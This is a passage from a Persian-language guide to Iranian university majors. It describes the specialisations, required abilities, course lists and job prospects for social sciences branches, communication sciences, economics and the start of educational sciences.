    گرایش‌ برنامه‌ریزی‌ اجتماعی‌ با آمار و تحقیقات‌ میدانی‌ ارتباط‌ تنگاتنگی‌ دارد به‌ همین‌ دلیل‌ دانشجوی‌ این‌ گرایش‌ باید از سلامت‌ جسمانی‌ برخوردار باشد تا بتواند در انجام‌ تحقیقات‌ میدانی‌ موفق‌ گردد. کار دانشجو و بخصوص‌ فارغ‌التحصیل‌ برنامه‌ریزی‌ اجتماعی‌ یک‌ کار کتابخانه‌ای‌ نیست‌، بلکه‌ باید در جامعه‌ حضوری‌ فعال‌ داشته‌ باشد. اطلاعات‌ علمی‌ لازم‌ برای‌ دانشجوی‌ این‌ گرایش‌ دروس‌ ریاضی‌، زبان‌ انگلیسی‌، جغرافیا و جامعه‌شناسی‌ است‌.
    موقعیت‌ شغلی‌ در ایران :
    دانشجویان‌ این‌ گرایش‌ دیدگاه‌های‌ خوبی‌ در زمینه‌ مسائل‌ شهری‌ و روستایی‌، حمل‌ و نقل‌، برنامه‌ریزی‌ اجتماعی‌ ـ اقتصادی‌ با بعد اجتماعی‌ پیدا می‌کنند و می‌توانند در سه‌ بخش‌ دولتی‌، عمومی‌ و خصوصی‌ فعالیت‌ نمایند. که‌ در بخش‌ دولتی‌ در سازمان‌های‌ برنامه‌ و بودجه‌، وزارت‌ کشور، فرمانداری‌ها و در اکثر اداره‌های‌ دولتی‌ می‌توانند مشغول‌ به‌ کار شوند و در سایر بخش‌های‌ عمومی‌ شهرداری‌ها، مؤسسه‌های‌ مختلفی‌ از قبیل‌ بنیاد شهید، کمیته‌ امداد امام‌ خمینی‌”ره‌”، سازمان‌ بهزیستی‌ و مؤسسه‌های‌ رفاهی‌ مراکز مهمی‌ برای‌ اشتغال‌ هستند و در بخش‌ خصوصی‌ نیز مؤسسه‌های‌ خدماتی‌ و مشاوره‌ای‌ مکان‌های‌ مناسبی‌ برای‌ اشتغال‌ هستند. فارغ‌التحصیلان‌ می‌توانند به‌ صورت‌ کارشناسان‌ مستقل‌ تحقیقات‌ شهری‌، روستایی‌ و منطقه‌ای‌ نیز فعالیت‌ کنند.
    دروس‌ تخصصی‌ گرایش‌ برنامه‌ریزی‌ اجتماعی‌:
    اصول‌ توسعه‌ و عمران‌، تئوری‌های‌ برنامه‌ریزی‌، برنامه‌ریزی‌ شهری‌، تئوری‌های‌ برنامه‌ریزی‌ منطقه‌ای‌، برنامه‌ریزی‌ روستائی‌، تکنیک‌های‌ مقدماتی‌ برنامه‌ریزی‌، برنامه‌ریزی‌ منطقه‌ای‌ در ایران‌، ارزشیابی‌ طرح‌ها و برنامه‌ها، عوامل‌ سازمان‌دهی‌ مکان‌، برنامه‌ریزی‌ حمل‌ و نقل‌، برنامه‌ریزی‌ اجتماعی‌،اصول‌ علم‌ جغرافیا و نقشه‌خوانی‌.
    گرایش‌ تعاون‌ و رفاه‌ اجتماعی:
    محتوای‌ دروس‌ این‌ گرایش‌ را اقتصاد، جامعه‌شناسی‌، مردم‌شناسی‌، امور مالی‌، حسابداری‌، مدیریت‌ و تعاون‌ و کارکرد تعاون‌ تشکیل‌ می‌دهد و هدف‌ آن‌ تربیت‌ کارشناسانی‌ است‌ که‌ بتوانند به‌ یاری‌ تشکل‌های‌ انسانی‌ عامل‌ توزیع‌ عادلانه‌ ثروت‌ و قدرت‌ در جامعه‌ گردند. در گرایش‌ تعاون‌ و رفاه‌ اجتماعی‌ هرآنچه‌ مربوط‌ به‌ تعاونی‌ باشد مورد بحث‌ و بررسی‌ قرار می‌گیرد که‌ از آن‌ جمله‌ می‌توان‌ به‌ انواع‌ تعاونی‌ها، چگونگی‌ تأسیس‌ و مدیریت‌ آنها و فوایدی‌ که‌ تعاونی‌ها برای‌ جامعه‌ دارند، اشاره‌ کرد.
    توانایی‌های‌ لازم‌ :
    گرایش‌ تعاون‌ و رفاه‌ اجتماعی‌ به‌ عنوان‌ یک‌ میان‌ رشته‌ از واحدهای‌ گوناگون‌ درسی‌ استفاده‌ می‌کند که‌ می‌توان‌ این‌ دروس‌ متنوع‌ را در دو درس‌ پایه‌ و اصلی‌ اقتصاد و جامعه‌شناسی‌ خلاصه‌ کرد در نتیجه‌ دانشجویی‌ که‌ پایه‌ ریاضی‌ قوی‌ داشته‌ باشد، می‌تواند در تعدادی‌ از دروس‌ مهم‌ این‌ رشته‌ مثل‌ امور مالی‌، اقتصاد و حسابداری‌ موفق‌ گردد و اگر به‌ علوم‌ اجتماعی‌ علاقه‌مند باشد می‌تواند در دروسی‌ مثل‌ جامعه‌شناسی‌ یا مردم‌شناسی‌ توفیق‌ یابد. علاوه‌ بر آمادگی‌ در دروس‌ فوق‌ دانشجوی‌ این‌ رشته‌ باید به‌ تعاون‌ علاقه‌مند بوده‌ و روحیه‌ همکاری‌ و همیاری‌ با دیگران‌ را داشته‌ باشد. چون‌ در این‌ رشته‌ دانشجو باید بتواند ارتباطی‌ نزدیک‌ با دیگران‌ ایجاد کند.
    موقعیت‌ شغلی‌ در ایران‌ :
    فارغ‌التحصیلان‌ این‌ گرایش‌ می‌توانند در شاخه‌ها و واحدهای‌ مختلف‌ وزارتخانه‌ تعاون‌ کار کنند. همچنین‌ می‌توانند در تعاونی‌های‌ شرکت‌ها و وزارتخانه‌های‌ مختلف‌ اعم‌ از تعاونی‌های‌ تولیدی‌، مصرف‌ و مسکن‌ به‌ عنوان‌ مدیر و برنامه‌ریز مشغول‌ به‌ کار شوند. با این‌ که‌ فارغ‌التحصیلان‌ این‌ گرایش‌ می‌توانند در بسیاری‌ از وزارتخانه‌ها و شرکت‌های‌ خصوصی‌ و دولتی‌ مفید باشند اما متأسفانه‌ بازار کار این‌ گرایش‌ محدود است چون‌ در جامعه‌ ما به‌ مدیریت‌ علمی‌ تعاونی‌ها اهمیت‌ نداده‌ و در کل‌ تعاونی‌ها حضوری‌ فعال‌ در جامعه‌ ندارند.
    دروس‌ تخصصی‌ گرایش‌ تعاون‌ و رفاه‌ اجتماعی‌:
    اصول‌ و اندیشه‌های‌ تعاونی‌، سیر تحول‌ تعاونی‌ در ایران‌ و جهان‌، اصول‌ آموزش‌ و ترویج‌ تعاونی‌، انواع‌ و کارکرد تعاونی‌ها، سازماندهی‌ و مدیریت‌ در تعاونی‌ها، زمینه‌ها و شیوه‌های‌ همیاری‌ در جوامع‌ شهری‌ و روستائی‌، اقتصاد خرد و کلان‌، حقوق‌ تجارت‌، حقوق‌ تعاون‌ (تهیه‌ اساسنامه‌ و آئین‌نامه‌)، اصول‌ حسابداری‌، امور مالی‌ تعاونی‌ها، سمینار مسائل‌ تعاونی‌، تأمین‌ و رفاه‌ اجتماعی‌، کارورزی‌.
    گرایش‌ مردم‌ شناسی:
    کار اصلی‌ یک‌ مردم‌شناس‌ مطالعه‌ فرهنگ‌ جوامع‌ مختلف‌، در مکان‌ها و زمان‌های‌ متفاوت‌، از قدیمی‌ترین‌ ایام‌ تا امروز است‌ و در این‌ میان‌ توجه‌ ویژه‌ای‌ به‌ سیر تحول‌ فرهنگ‌، علل‌ تغییرات‌ فرهنگی‌ و کاربرد فرهنگ‌ در جوامع‌ مختلف‌ دارد. به‌ همین‌ دلیل‌ علوم‌ اجتماعی‌ بدون‌ مردم‌شناسی‌ یا انسان‌شناسی‌ فرهنگی‌ با مشکلات‌ بسیاری‌ روبرو خواهد شد چرا که‌ فرهنگ‌ در ساختارهای‌ اجتماعی‌ نقش‌ بسیار مهم‌ و تعیین‌ کننده‌ای‌ دارد؛ یعنی‌ لازمه‌ اصلی‌ مطالعات‌ اجتماعی‌، مطالعه‌ فرهنگی‌ است‌ و در حوزه‌ مطالعات‌ فرهنگی‌ نیز، مردم‌شناسان‌ نقش‌ بسیار مهمی‌ دارند.
    توانایی‌های‌ لازم :
    کنجکاوی‌، صبر و علاقه‌ به‌ کارهای‌ میدانی‌ برای‌ دانشجوی‌ این‌ رشته‌ ضروری‌ است‌. دانشجوی‌ مردم‌شناسی‌ باید به‌ مردم‌ و مسائل‌ جامعه‌اش‌ علاقه‌مند بوده‌ و روابط‌ اجتماعی‌ خوبی‌ داشته‌ باشد تا بتواند با گروه‌های‌ مختلف‌ جامعه‌ ارتباط‌ نزدیکی‌ برقرار کرده‌ و از فرهنگ‌ و هنجارهای‌ آنها مطلع‌ شود.
    موقعیت‌ شغلی‌ در ایران‌ :
    مردم‌ شناسی‌ زیربنای‌ بسیاری‌ از فعالیت‌های‌ اجتماعی‌ است‌ و این‌ به‌ معنای‌ آن‌ است‌ که‌ بازار کار متنوعی‌ برای‌ فارغ‌التحصیلان‌ این‌ گرایش‌ وجود دارد و اکثر وزارتخانه‌ها به‌ فارغ‌التحصیلان‌ آن‌ نیازمندند. زیرا باید بخش‌ تحقیقات‌ مردم‌شناسی‌ بسیار گسترده‌ای‌ داشته‌ باشند. البته‌ برخی‌ از وزارتخانه‌ها مثل‌ وزارت‌ فرهنگ‌ وارشاد اسلامی‌، آموزش‌ و پرورش‌، جهادکشاورزی‌، کشور، خارجه‌ و نیرو در حال‌ حاضر نیز دارای‌ چنین‌ بخشی‌ هستند و فارغ‌التحصیلان‌ این‌ رشته‌ را جذب‌ می‌کنند. همچنین‌ فارغ‌التحصیل‌ این‌ رشته‌ می‌تواند به‌ مطالعه‌ و تحقیق‌ آزاد روی‌ آورده‌ و نتیجه‌ تحقیقات‌ خویش‌ را به‌ صورت‌ کتاب‌ منتشر سازد. چون‌ امروزه‌ کتبی‌ که‌ در زمینه‌ مردم‌شناسی‌ چاپ‌ می‌شود، بازار بسیار خوبی‌ دارد.
    دروس‌ تخصصی‌ گرایش‌ مردم‌شناسی‌:
    جامعه‌شناسی‌ قشرها و نابرابری‌ها، جامعه‌شناسی‌ ایلات‌ و عشایر، مردم‌ شناسی‌ فرهنگی‌، محیط‌شناسی‌ انسانی‌، جغرافیای‌ انسانی‌ ایران‌، تنظیم‌ خانواده‌ و جمعیت‌، مبانی‌ تعاون‌ ، زمینه‌ها و شیوه‌های‌ همیاری‌ در شهر و روستا، فرهنگ‌ و توسعه‌، مردم‌ نگاری‌، مردم‌شناسی‌ ماقبل‌ تاریخ‌ و جوامع‌ ابتدایی‌، باستان‌شناسی‌ از دیدگاه‌ انسان‌شناسی‌، موزه‌داری‌ و تکنیک‌ ضبط‌ اسناد، مردم‌ شناسی‌ روستا، ایل‌شناسی‌، نظام‌های‌ خویشاوندی‌، مردم‌شناسی‌ اعتقادات‌ دینی‌، مردم‌شناسی‌ هنر، نماد و نشانه‌شناسی‌، انسان‌شناسی‌ و فرهنگ‌ منطقه‌ای‌ (آفریقا و …)، مردم‌شناسی‌ شهری‌، نظریه‌های‌ مردم‌شناسی‌.

  74. علوم ارتباطات اجتماعی
    دیباچه: انسان‌ قرن‌ بیست‌ و یکم‌ با بشر اولیه‌ تفاوت‌ بسیاری‌ دارد و باید برای‌ برقراری‌ ارتباط‌ با او، بخصوص‌ ارتباطی‌ با نفوذ و پایدار که‌ با حرف‌ها و تجربه‌های‌ تازه‌ و ناگفته‌ همراه‌ باشد، به‌ هنر و دانش‌ پیچیده‌ علوم‌ ارتباطات‌ اجتماعی‌ مجهز بود. این‌ علم‌ امروزه‌ در دانشگاه‌ها و مؤسسات‌ آموزش‌ عالی‌ سراسر دنیا تدریس‌ می‌شود و در کشور ما نیز با دو گرایش‌ روزنامه‌نگاری‌ و روابط‌ عمومی‌، یکی‌ از رشته‌های‌ گروه‌ آزمایشی‌ علوم‌ انسانی‌ است‌. گرایش‌ روزنامه‌نگاری‌ گرایش‌ روزنامه‌نگاری‌ نهال‌ تنومندی‌ است‌ که‌ از چشمه‌های‌ هنر و ادبیات‌، فرهنگ‌ و فلسفه‌، سیاست‌ و اقتصاد، صنعت‌ و تکنولوژی‌ سیراب‌ می‌شود برای‌ همین‌ دانشجوی‌ این‌ رشته‌ دروس‌ تئوری‌ و نظری‌ مانند مبانی‌ جمعیت‌شناسی‌، مبانی‌ روانشناسی‌، مبانی‌ فلسفه‌، مبانی‌ علم‌ اقتصاد، نظریه‌های‌ ارتباطات‌ اجتماعی‌ واندیشه‌های‌ سیاسی‌ در قرن‌ بیستم‌ را مطالعه‌ می‌کند همچنین‌ دروسی‌ را که‌ هم‌ جنبه‌ عملی‌ و هم‌ جنبه‌ تئوری‌ دارند مثل‌ اصول‌ و تکنیک‌های‌ تهیه‌ خبر، مصاحبه‌، گزارش‌، روش‌ تحقیق‌، عکاسی‌ خبری‌، صفحه‌آرایی‌ و ویراستاری‌ را آموزش‌ می‌بیند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ مشترک‌ در‌ گرایش‌های‌ مختلف علوم‌ ارتباطات‌:
    مبانی‌ جامعه‌شناسی‌، مبانی‌ جمعیت‌ شناسی‌، مبانی‌ روانشناسی‌، مبانی‌ فلسفه‌، تاریخ‌ و تفکر اجتماعی‌ در اسلام‌، مبانی‌ تاریخ‌ اجتماعی‌ ایران‌، آمار مقدماتی‌ ، آمار در علوم‌ اجتماعی‌ ، زبان‌ تخصصی‌ ، اصول‌ علم‌ اقتصاد، روانشناسی‌ اجتماعی‌، اصول‌ علم‌ سیاست‌، کلیات‌ حقوق‌ ، حقوق‌ اساسی‌، روش‌ تحقیق‌ نظری‌، روش‌ تحقیق‌ عملی‌، نظریه‌های‌ جامعه‌شناسی‌، اصول‌ سازمان‌ و مدیریت‌، سمینار مسائل‌ سیاسی‌ و استراتژی‌ معاصر، اندیشه‌های‌ سیاسی‌ در قرن‌ بیستم‌، مبانی‌ ارتباطات‌ جمعی‌، ارتباطات‌ بین‌المللی‌، ارتباطات‌ سیاسی‌، ارتباطات‌ انسانی‌، روش‌های‌ بررسی‌ و تحلیل‌ پیام‌های‌ ارتباطی‌، ارتباطات‌ تصویری‌، نظریه‌های‌ ارتباطات‌ اجتماعی‌، گرافیک‌ و صفحه‌آرایی‌ در مطبوعات‌، فتوژورنالیسم‌ (عکاسی‌ خبری‌) ، تکنولوژی‌ چاپ‌ و نشر، تجزیه‌ و تحلیل‌ برنامه‌های‌ رادیو و تلویزیون‌، افکار عمومی‌ و وسایل‌ ارتباط‌ جمعی‌، ارتباطات‌ در جهان‌ سوم‌، حقوق‌ ارتباط‌ جمعی‌، شیوه‌ نگارش‌ فارسی‌ در مطبوعات‌.
    دروس‌ تخصصی‌ گرایش‌ روزنامه‌نگاری‌:
    اصول‌ روزنامه‌نگاری‌ ، روزنامه‌نگاری‌ عملی‌ ، ویراستاری‌ و مدیریت‌ اخبار، روزنامه‌نگاری‌ تخصصی‌، تاریخ‌ روزنامه‌نگاری‌، نقد، تفسیر و مقاله‌ در مطبوعات‌. گرایش‌ روابط‌ عمومی‌ کارشناس‌ خوب‌ روابط‌ عمومی‌ برخلاف‌ ذهنیت‌ عامه‌ مردم‌ سعی‌ در پنهان‌ ساختن‌ اخبار بد ندارد همچنین‌ وظیفه‌اش‌ در بسط‌ اطلاعاتی‌ که‌ مستقیماً از سطوح‌ بالاتر سازمان‌ می‌گیرد، خلاصه‌ نمی‌شود. بلکه‌ کارشناس‌ روابط‌ عمومی‌ یک‌ مشاور است‌ که‌ جریان‌ دو طرفه‌ ارتباطی‌ را بین‌ سازمانی که برای آن کار می‌کند و مخاطبانش‌ میسر می‌سازد و بر این‌ اعتقاد است‌ که‌ رمز موفقیت‌ یک‌ برنامه‌ مؤثر روابط‌ عمومی‌، قابلیت‌ انتقال‌ پیام‌ صحیح‌ از راه‌ صحیح‌، در زمان‌ مطلوب‌ و به‌ فرد صحیح‌ است‌. در واقع‌ کارشناس‌ روابط‌ عمومی‌ از یک‌ سو وظیفه‌ آگاه‌ کردن‌، خبر دادن‌ و مطلع‌ کردن‌ مردم‌ از مقاصد مدیریت‌ سازمان‌ را بر دوش‌ دارد و از سوی‌ دیگر مسؤولیت‌ ارائه‌ مشورت‌های‌ کارشناسانه‌ با مدیریت‌ مؤسسه‌ در مورد طرز تفکر مردم‌ و گروه‌های‌ مورد توجه‌ آن‌ حوزه‌ و تجزیه‌ و تحلیل‌ افکار عمومی‌ و بررسی‌ جامعه‌شناختی‌ گرایش‌ها و طرز تفکرهای‌ مردم‌ بر عهده‌ او است.
    دروس‌ تخصصی‌ گرایش‌ روابط‌ عمومی‌:
    اصول‌ روابط‌ عمومی‌ ، مدیریت‌ و روابط‌ عمومی‌، روابط‌ عمومی‌ عملی‌ ، تکنیک‌های‌ روابط‌ عمومی‌، اقناع‌ و تبلیغ‌ ، ارتباط‌ با مطبوعات‌، ارتباطات‌ شفاهی‌.
    توانایی‌های‌ لازم :
    دانشجوی‌ روزنامه‌نگاری‌ باید دارای‌ دوازده‌ خصیصه‌ باشد که‌ این‌ خصایص‌ عبارتند از:
    ۱ـ داشتن‌ ذوق‌ و استعداد نویسندگی‌ ۲ـ کنجکاوی‌، تیزبینی‌ و نکته‌سنجی‌ ۳ـ داشتن‌ ضریب‌ هوشی‌ بالاتر از متوسط‌ جامعه‌ ۴ـ توانایی‌ جوشش‌ با طبقات‌ مختلف‌ مردم‌ ۵ـ صبر و حوصله‌ زیاد ۶ـ داشتن‌ توانایی‌ جسمی‌ و روانی‌ برای‌ دوندگی‌های‌ اضطراری‌ ۷ـ قدرت‌ تفکر سریع‌ ۸ـ عشق‌ به‌ کار خبری‌ ۹ـ مؤمن‌ به‌ رعایت‌ اصول‌ اخلاقی‌ و داشتن‌ تقوا ۱۰ـ نداشتن‌ خودبینی‌، غرور و تکبر، انزواجویی‌، ساده‌لوحی‌، تعصب‌ فکری‌، فضل‌ فروشی‌، گزافه‌ گویی‌ و تندخویی‌ ۱۱ـ داشتن‌ توانایی‌های‌ ارتباطی‌ ۱۲ـ داشتن‌ حافظه‌ای‌ بیش‌ از حد‌ متوسط‌ جامعه. (برای‌ مصاحبه‌) البته‌ به‌ ندرت‌ ممکن‌ است‌ فردی‌ از تمامی‌ این‌ خصایص‌ برخوردار باشد و هدف‌ از تجسم‌ فردی‌ با ویژگی‌های‌ دوازده‌گانه‌ فوق‌، صرفاً ترسیم‌ تصویری‌ ایده‌آل‌ از یک روزنامه‌نگار‌ است‌. ویژگی‌هایی که هر روزنامه‌نگار‌ باید کوشش‌ کند تا در حد امکان‌ به‌ آن‌ها دست‌ یابد‌. دانشجوی‌ روابط‌ عمومی‌ نیز علاوه‌ بر ویژگی‌های‌ لازم‌ برای‌ یک‌ روزنامه‌نگار باید از توان‌ تجزیه‌ و تحلیل‌ بالا، قدرت‌ ریسک‌، توان‌ کارهای‌ اجرایی‌ و قدرت‌ سخنوری‌ برخوردار باشد.
    موقعیت‌ شغلی‌ در ایران :
    براساس‌ آمار ارائه‌ شده‌ در فصلنامه‌ “رسانه‌” از سال‌ ۱۳۵۱ تا ۱۳۷۳ حدود یک‌ هزار نفر دانشجوی علوم ارتباطات، فار‎‎غ‌التحصیل شده‌اند و از این‌ تعداد تنها ۶۰ نفر در مطبوعات‌ مشغول‌ به‌ کار هستند و ۹۴۰ نفر بقیه‌ به‌ مشاغل‌ غیرمطبوعاتی‌ اشتغال‌ دارند. بدون‌ شک‌ عوامل‌ بسیاری‌ در این‌ مسأله‌ نقش‌ داشته‌اند اما یکی‌ از مهمترین‌ دلایل‌ این‌ است‌ که‌ تعدادی‌ از دانشجویان‌ در طی‌ سال‌های‌ فوق‌، رشته‌ علوم‌ ارتباطات‌ را بدون‌ شناخت‌ لازم‌ و از سرناچاری‌ یا به‌ طوری‌ اتفاقی‌ انتخاب‌ کرده‌اند، در نتیجه‌ آمادگی‌ و توانایی‌ لازم‌ را برای‌ حضور در مطبوعات‌ نداشته‌اند از سوی‌ دیگر وابستگی‌ اکثر مطبوعات‌ آن‌ دوران‌ به‌ ارگان‌های‌ دولتی‌ و شرایط‌ دشوار استخدام‌، عامل‌ مهمی‌ در عدم‌ حضور فارغ‌التحصیلان‌ این‌ رشته‌ در شغل‌های‌ مربوط‌ بوده‌ است‌. البته‌ در حال‌ حاضر با توجه‌ به‌ تعدد و تنوع‌ مطبوعات‌ و خبرگزاری‌ها، اکثر فارغ‌التحصیلان‌ این‌ رشته‌ جذب‌ بازار کار می‌شوند. فرصت‌های‌ شغلی‌ فارغ‌التحصیلان‌ روابط‌ عمومی‌ نیز در حال‌ حاضر بهتر شده‌ است‌ چون‌ زمانی‌ کار روابط‌ عمومی‌ سازمان‌های‌ دولتی‌ مساوی‌ با شیرینی‌ دادن‌ در جشن‌ها و پلاکارد زدن‌ و عرض‌ تسلیت‌ دادن‌ در زمان‌ سوگواری‌ها بود اما امروزه‌ مردم‌ انتظارات‌ بسیاری‌ از روابط‌ عمومی‌ سازمان‌ها دارند و مایلند آن‌ها را در جریان‌ آخرین‌ اطلاعات‌ و اخبار درون‌ سازمانی‌ قرار دهند و نظرات‌ و دیدگاه‌هایشان‌ را به‌ گوش‌ مسؤولین‌ سازمان‌ها برسانند؛ کاری‌ تخصصی‌ که‌ از عهده‌ هر فردی‌ برنمی‌آید و به‌ همین‌ دلیل‌ سازمان‌ها ترجیح‌ می‌دهند که‌ از فارغ‌التحصیلان‌ روابط‌ عمومی‌ برای‌ کار در این‌ بخش‌ مهم‌ و حیاتی‌ بهره‌ ببرند.

  75. علوم اقتصادی
    دیباچه: آیا خیابانی را می‌شناسید که در آن نانوایی, خواروبار فروشی, میوه‌فروشی یا آرایشگاه نباشد؟ بی‌شک در هر خیابانی مراکز خدماتی یاد شده و دهها واحد خدماتی دیگر به چشم می‌خورد. اما چرا در حالی که هیچ سازمان یا نهادی مسؤول ایجاد این مراکز در خیابان‌های مختلف نیست ما در هر خیابانی به واحدهای فوق دسترسی داریم؟راستی چرا بسیاری از واحدهای خدماتی ۵۰ سال پیش مثل لحاف‌ دوزی, چینی بندزنی و حلبی‌سازی از بین رفته‌اند و در مقابل مغازه‌های تزئینات ساختمانی و فروشگاه‌های لوازم صوتی و تصویری ایجاد شده است؟ علم اقتصاد به سؤال‌های فوق پاسخ می‌دهدو این که در یک جامعه چه عواملی باعث تخصیص منابع می‌شود. به عبارت دیگر علم اقتصاد، علم تخصیص بهینه منابع است. منابعی که کم یا محدود هستند. این علم در مراکز آموزش عالی تحت عنوان رشته علوم اقتصادی ارائه می‌شود. رشته اقتصاد در مقطع کارشناسی دارای شش شاخه اقتصاد نظری, بازرگانی, کشاورزی, پول و بانکداری, صنعتی و حمل و نقل است و داوطلبان هر سه گروه آزمایشی علوم ریاضی و فنی, علوم تجربی و علوم انسانی می‌توانند این رشته را انتخاب کنند. البته برای داوطلبان علوم انسانی شاخه اقتصاد نظری ارائه نشده است. اما به گفته استادان این رشته تفاوت شاخه‌های مختلف اقتصاد در مقطع کارشناسی کمتر از ۳۰ واحد درسی است و چون دانشجویان می‌توانند ۹ واحد اختیاری خود را از شاخه دیگر انتخاب کنند، تفاوت قابل توجهی بین شاخه‌های مختلف این رشته وجود ندارد. بویژه این که بین دروس تخصصی هر شاخه نیز تشابه‌های بسیاری وجود دارد برای مثال از یازده درس اختصاصی شاخه اقتصاد پول و بانکداری , چهار درس آن با شاخه اقتصاد بازرگانی مشترک است. با این همه ما برای آشنایی شما با شاخه‌های رشته اقتصاد, به معرفی اجمالی آن‌ها می‌پردازیم.
    شاخه اقتصاد نظری:
    هسته اصلی تئوری‌های اقتصادی مثل اقتصاد ریاضی و اقتصاد سنجی در شاخه اقتصاد نظری مطالعه می‌شود؛ یعنی این شاخه بیشتر جنبه انتزاعی و تئوری دارد و تأکید آن بر روی تئوری‌های ریاضی است و دانشجوی اقتصاد نظری کمتر پدیده‌هایی از قبیل تجارت را مطالعه می‌کند.
    دروس تخصصی اقتصاد نظری :
    اقتصاد کشاورزی, اقتصاد مدیریت, اقتصاد ریاضی, اقتصاد سنجی, تاریخ عقاید اقتصادی, برنامه‌ریزی اقتصادی, اقتصاد منابع .
    شاخه اقتصاد بازرگانی:
    اقتصاد بازرگانی یکی از شاخه‌های کاربردی اقتصاد است که در آن دانشجو با جنبه‌های توصیفی و تحلیلی مدیریت تولید, مدیریت بازاریابی و کاربردهای آن، قوانین و مقررات مالیات در ایران, انواع حسابرسی و اصول حسابداری آشنا می‌شود. همچنین با استفاده از یک سری مدل‌های تصمیم‌گیری و متدهای کمی, تعیین خط مشی مطلوب را در مسائلی که یک مدیر با آن مواجه می‌شود، فرا می‌گیرد.
    دروس تخصصی اقتصاد بازرگانی :
    اقتصاد مدیریت, روش‌های مقداری در بازرگانی, مدیریت تولید, ارزیابی طرح‌های اقتصادی, حسابداری شرکت‌ها, حسابداری صنعتی, اصول بازاریابی, اصول بیمه, مدیریت مالی.
    شاخه اقتصاد صنعتی
    در شاخه اقتصاد صنعتی دانشجویان طی چند واحد با ساختار بازار صنعت, بازرگانی بین‌المللی, منافع و مضرات انحصار, سیاست رقابت, منافع مصرف‌کننده, هزینه‌ها و حقوق و مقررات کاری که تنظیم‌کننده روابط بین کارگران و کارفرمایان است, آشنا می‌شوند.
    دروس مشترک در همه شاخه‌های علوم‌اقتصادی :
    زبان خارجه تخصصی, اصول سازمانی و مدیریت, حقوق تجارت, مبانی جامعه‌شناسی, ریاضیات, آمار, روش تحقیق, اصول حسابداری, جغرافیای اقتصادی ایران, اقتصاد خرد, اقتصاد کلان, پول و بانکداری, مبانی فقهی اقتصاد صدر اسلام, نظام‌های اقتصادی, تجارت بین‌الملل, اقتصاد توسعه, اقتصاد ایران.
    دروس تخصصی اقتصاد نظری :
    اقتصاد صنعتی, حسابداری شرکت‌ها, حسابداری صنعتی, اقتصاد منابع, مدیریت تولید, ارزیابی طرح‌های اقتصادی, اقتصاد سنجی, حقوق کار و روابط صنعتی, پژوهش عملیاتی.شاخه اقتصاد پول و بانکداریدانشجویان این شاخه با نحوه عملکرد بانک‌های داخلی و خارجی, اسناد اعتباری ارزی, سیاست‌های پولی و مالی به عنوان مهم‌ترین سیاست‌های تثبیت اقتصادی و چگونگی تجزیه و تحلیل صورت حساب‌های مالی آشنا می‌شوند.
    دروس تخصصی اقتصاد پول و بانکداری :
    عملیات بانکی داخلی, عملیات بانکی خارجی, سیاست‌های پولی و مالی, بانکداری اسلامی, روش‌های مقداری در بازرگانی, سازمان‌های پولی و مالی بین‌المللی, حسابداری شرکت‌ها, تجزیه و تحلیل صورت‌های مالی, ارزیابی طرح‌های اقتصادی, تأمین منابع مالی و بورس اوراق بهادار, مدیریت مالی.
    شاخه اقتصاد کشاورزی
    دانشجویان این شاخه, اقتصادی را که به محصولات کشاورزی و زمین و زراعت باز می‌گردد, مطالعه می‌کنند. زیرا بازار محصولات کشاورزی به دلیل این‌که در بسیاری از موارد، پیوستگی تولید را ندارد همچنین متغیرهایی مثل آب و هوا و خاک در آن اثر عمده‌ای می‌گذارد, به مطالعه تخصصی و ویژه‌ای نیازمند است؛ یعنی کارشناس اقتصادی این بخش باید علاوه بر آشنایی با اصول و مبانی علم اقتصاد, با مسائل کشاورزی از قبیل تولید کشاورزی و بازارهای محصولات کشاورزی آشنایی داشته باشد.
    دروس تخصصی اقتصاد کشاورزی :
    اقتصاد کشاورزی, توسعه و سیاست کشاورزی, اقتصاد منابع, اقتصاد سنجی, ارزیابی طرح‌های اقتصادی, بازاریابی محصولات کشاورزی, مدیریت مزرعه, جامعه‌شناسی روستایی, پژوهش عملیاتی.
    توانایی‌های لازم :
    در مقطع متوسطه, کتاب اقتصاد تنها برای دانش‌آموزان رشته علوم‌انسانی ارائه شده است و چون مباحث این کتاب جنبه حفظی دارد, بسیاری از داوطلبان آزمون سراسری تصور می‌کنند که برای موفقیت در رشته اقتصاد باید حافظه قوی داشت تا بتوان مفاهیم و نظریه‌های متعدد را حفظ کرد. در حالی که به گفته استادان و دانشجویان این رشته, دانشجوی اقتصاد بیش از هر چیز باید در درس ریاضی قوی باشد تا بتواند در این رشته موفق گردد.همچنین دانشجوی اقتصاد لازم است که به مباحث اجتماعی علاقه‌مند بوده و الفبای جامعه‌شناسی, علوم سیاسی و روانشناسی را بداند چون اقتصاد یک حلقه از علوم اجتماعی است و زنجیره علوم اجتماعی نیز به هم مرتبط است.
    موقعیت شغلی در ایران :
    دانشجویان دوره کارشناسی اقتصاد بیشتر اطلاعات اولیه و پایه را مطالعه می‌کنند در نتیجه نباید انتظار داشته باشند که پس از فارغ‌التحصیلی به طور تخصصی و کاربردی فعالیت نمایند مگر دانشجویانی که خودشان مطالعه و فعالیت بیشتری داشته و تئوری‌هایی را که مطالعه می‌کنند, به کار نیز می‌گیرند. یعنی می‌توانند مدلهای اقتصادی نوشته, تجزیه و تحلیل کرده و پیشنهادهای تازه‌ای برای رفع مشکلات اقتصادی مؤسسه و سازمان‌های مختلف ارائه دهند.البته این به آن معنا نیست که در حال حاضر فارغ‌التحصیلان این رشته بازار کار ندارند بلکه می‌توانند در بخش‌های مختلف وزارت اقتصاد مثل بخش مالیات, وزارت صنایع, سازمان برنامه و بودجه, بانک مرکزی و مرکز آمار فعالیت کنند و مهمتر از همه اینکه حتی اگر فارغ‌‌التحصیلان اقتصاد در رشته تخصصی خود فعالیت نکنند, به دلیل داشتن ذهنی باز و تحلیل‌گر و آشنایی صحیح با مسائل و مباحث اقتصادی, نگاه کارشناسانه‌ای نسبت به جامعه و پیرامون خود دارند و می‌توانند در هر شغلی موفق و کارآمد باشند.

  76. علوم تربیتی
    دیباچه: رشته علوم تربیتی در مقطع کارشناسی، دارای گرایش‌های تکنولوژی آموزشی، مدیریت و برنامه‌ریزی آموزشی، آموزش و پرورش پیش‌دبستانی و دبستانی و آموزش و پرورش کودکان استثنایی است.
    گرایش تکنولوژی آموزشی:
